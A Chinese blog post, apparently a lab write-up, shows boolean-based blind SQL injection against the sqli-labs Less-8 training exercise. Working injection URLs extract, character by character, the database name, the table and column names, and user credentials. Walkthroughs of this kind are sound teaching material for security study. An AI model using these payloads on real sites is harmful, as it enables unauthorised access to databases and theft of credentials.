sql注入之盲注

一.布尔型盲注

题目:题目为sqllab-less-8
1.(1)正常页面回显

?id=1 and 1=1  

在这里插入图片描述
(2)页面出错

?id=1' and 1=2

在这里插入图片描述
2.先判断数据库长度

?id=0' or length(database())>7--+   true

在这里插入图片描述

?id=0' or length(database())>8--+    false

在这里插入图片描述

?id=0' or length(database())=8--+    true

在这里插入图片描述
最后确认数据库长度为8
3.猜库名
此时我们需要用到mid()函数来截取库名字母,通过ord()函数得出其ASCII编码,再对照ASCII编码表来查询字母

ASCII编码中65-90为大写字母A-Z,97-122为小写字母a-z

关键SQL注入语句:

首字母查询:
/?id=1’ and ord(mid(database(),1,1))>90 --+ //判断字母的大小写,在ASCII编码中>90的为小写字母
/?id=1’ and ord(mid(database(),1,1))>110 --+
/?id=1’ and ord(mid(database(),1,1))>120 --+
/?id=1’ and ord(mid(database(),1,1))>115 --+
/?id=1’ and ord(mid(database(),1,1))>114 --+
得到其库名首字母为"s(小写)"
在这里插入图片描述
之后的7个字母都用相同的方法来查询,最后我们可得到其库名为"security"
4.查其表名
在猜其表名时,应该借助程序来查询,因为人为查询过程及其繁琐,且一个数据库中有多张表。

其原理同查询库名一样,我们在此可以查询第一个表名首字母作为范例

1.第一张表(为范例,之后的表同样的方法)
(1)第一张表长度查询
关键SQL注入语句:
?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>5 --+

?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>6 --+

得第一张表的表名长度为6
在这里插入图片描述
(2)第一张表首字母查询
关键SQL注入语句:

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>90 //判断第一个表的表名首字母大小写

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)>110

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>100

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>101

得到ASCII编码10进制数为101,查表可得该字符为"e"
在这里插入图片描述
第一张表第二个字母查询:
关键SQL注入语句:

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),2,1))>108

第二个字母ASCII编码十进制数为108,查表可得其结果为"m"

之后的4个字母通过控制mid()函数的参数可以查出结果,可得第一张表名为"emails"

之后的几张表用通过修改limit 0,1控制输出可以查出结果,可得第二张表名为"referers",第三张表名为"uagents",第四张表名为"users"

5.查其列名
与表一样,一张表里可能有多个列,人为查询相当繁琐,建议通过程序来执行查询

1.第二列
在此处,只以第二列为例

(1).求其users表中的第二列的长度
关键SQL注入语句:
/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>7 --+

/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>8 --+

求得users表中,第二列长度为8
在这里插入图片描述
(2).求其users表中第二列的首字母
关键SQL注入语句:
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>90 //判断第一个表的表名首字母大小写
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>110

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>120

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>115

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>116

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>117

可得出第二列首字母ACSII编码十进制数为117,查表可得首字母为"u"
在这里插入图片描述
剩下7个字母,通过修改mid()函数参数来实现,最终可得出第二列列名为"username"

之后的几列用通过修改limit 0,1控制输出可以查出结果,可得第一列列名为"id",第三列列名为"password"

6.查数据
已知库名,表名,及其列名,可以查出表中的数据

(1).其username列中第一行数据的长度
关键SQL注入语句:
/?id=1’ and length((select username from security.users limit 0,1))>3
/?id=1’ and length((select username from security.users limit 0,1))>4

可得出列中第一行数据的长度为4
在这里插入图片描述
(2).查username列中第一行数据的首字母
关键SQL注入语句:
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>90 --+ //判断其第一行首字母的大小写
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>65 --+
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>67 --+
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>68 --+
在这里插入图片描述
得到列中第一行首字母ASCII编码十进制为68,查表可得首字母为"D"

通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据

(3).查password列中第一行数据的长度
关键SQL注入语句:
/?id=1’ and length((select username from security.users limit 0,1))>3
/?id=1’ and length((select username from security.users limit 0,1))>4

可得password列第一行数据长度为4

在这里插入图片描述
(4).查password列第一行数据的首字母
关键SQL注入语句:
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>90 --+ //判断其第一行首字母的大小写
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>65 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>70 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>67 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>68 --+
在这里插入图片描述
可得password列第一行首字母ASCII码值为68,查表可得首字母为**“D”**

通过mid()函数参数控制可得,该行数据为Dumb
通过limit 0,1控制可得,其他行的数据

由此可以的出第一个用户的数据,用户名username:Dumb 密码:password:Dumb

用同样的方法可求出其他用户名和密码

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值